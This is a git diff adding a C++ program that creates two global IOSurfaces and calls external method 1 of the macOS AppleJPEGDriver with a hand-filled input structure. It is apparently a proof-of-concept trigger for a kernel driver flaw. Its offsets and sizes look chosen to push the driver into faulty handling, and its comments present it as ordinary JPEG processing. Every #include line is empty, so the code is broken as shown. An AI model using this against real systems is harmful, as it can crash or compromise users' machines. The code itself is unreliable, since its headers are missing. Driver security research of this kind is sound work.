diff --git a/X. NU/custom/drivers/AppleJPEGDriver_method_1.cpp b/X. NU/custom/drivers/AppleJPEGDriver_method_1.cpp new file mode 100644 index 0000000..fb9b98b --- /dev/null +++ b/X. NU/custom/drivers/AppleJPEGDriver_method_1.cpp @@ -0,0 +1,106 @@ +// clang++ -framework IOKit -framework CoreFoundation -framework IOSurface AppleJPEGDriver_method_1.cpp -o AppleJPEGDriver_method_1 +#include +#include +#include +#include + +/** + * Creates an IOSurface with JPEG format specifications + * IOSurface is a memory buffer that can be shared between processes and hardware + * @return The unique identifier of the created surface + */ +static uint32_t create_surface(void) { + // Create a mutable dictionary to hold surface properties + CFMutableDictionaryRef dict = CFDictionaryCreateMutable(NULL, 0, + &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks); + + // Define basic surface properties + // These values are minimal requirements for JPEG processing + int width = 32, height = 32; // Dimensions of the surface + int size = 32768; // Buffer size in bytes + int format = 'JPEG'; // Surface pixel format + + // Set required surface properties in the dictionary + // IOSurfaceIsGlobal: Makes surface accessible system-wide + CFDictionarySetValue(dict, CFSTR("IOSurfaceIsGlobal"), kCFBooleanTrue); + // Set surface dimensions + CFDictionarySetValue(dict, CFSTR("IOSurfaceWidth"), + CFNumberCreate(NULL, kCFNumberSInt32Type, &width)); + CFDictionarySetValue(dict, CFSTR("IOSurfaceHeight"), + CFNumberCreate(NULL, kCFNumberSInt32Type, &height)); + // Set buffer size + CFDictionarySetValue(dict, CFSTR("IOSurfaceAllocSize"), + CFNumberCreate(NULL, kCFNumberSInt32Type, &size)); + // Set pixel format + CFDictionarySetValue(dict, CFSTR("IOSurfacePixelFormat"), + CFNumberCreate(NULL, kCFNumberSInt32Type, &format)); + + // Create the surface and get its ID + IOSurfaceRef surface = IOSurfaceCreate(dict); + uint32_t id = IOSurfaceGetID(surface); + CFRelease(dict); // Clean up the dictionary + return id; +} + +/** + * Input structure for the AppleJPEGDriver + * This structure defines the parameters needed for JPEG processing operations + * Total size: 88 bytes + */ +struct AppleJPEGDriverIOStruct { + uint32_t src_surface; // Source IOSurface ID + uint32_t input_size; // Size of input buffer + uint32_t dst_surface; // Destination IOSurface ID + uint32_t output_size; // Size of output buffer + uint32_t reserved1[2]; // Reserved fields + uint32_t pixelX; // X dimension in pixels + uint32_t pixelY; // Y dimension in pixels + uint32_t reserved2; // Reserved field + uint32_t xOffset; // X offset for processing + uint32_t yOffset; // Y offset for processing + uint32_t subsampling; // Subsampling mode + uint32_t callback; // Callback function pointer + uint32_t reserved3[3]; // Reserved fields + uint32_t value100; // Configuration value + uint32_t reserved4[2]; // Reserved fields + uint32_t decodeWidth; // Width for decoding + uint32_t decodeHeight; // Height for decoding + uint32_t reserved5; // Reserved field +} __attribute__((packed)); // Ensure tight packing of structure + +int main() { + // Create two IOSurfaces: one for input, one for output + uint32_t src = create_surface(); + uint32_t dst = create_surface(); + + // Establish connection with AppleJPEGDriver + io_connect_t conn; + IOServiceOpen(IOServiceGetMatchingService(kIOMainPortDefault, + IOServiceMatching("AppleJPEGDriver")), mach_task_self(), 1, &conn); + + // Initialize the driver input structure with desired parameters + struct AppleJPEGDriverIOStruct input = { + .src_surface = src, // Source surface ID + .dst_surface = dst, // Destination surface ID + .input_size = 2000, // Input buffer size + .output_size = 0x1000, // Output buffer size + .pixelX = 100, // X dimension + .pixelY = 3, // Y dimension + .xOffset = 0xd, // X offset + .yOffset = 0xff, // Y offset + .value100 = 100, // Configuration value + .decodeWidth = 5, // Decode width + .decodeHeight = 10 // Decode height + }; + + // Prepare output buffer for driver response + char output[65536]; + size_t output_size = sizeof(output); + + // Call the driver's method 1 with our input structure + kern_return_t kr = IOConnectCallStructMethod(conn, 1, &input, + sizeof(input), output, &output_size); + + // Print the result of the operation + printf("Result: 0x%x (%s)\n", kr, mach_error_string(kr)); +} \ No newline at end of file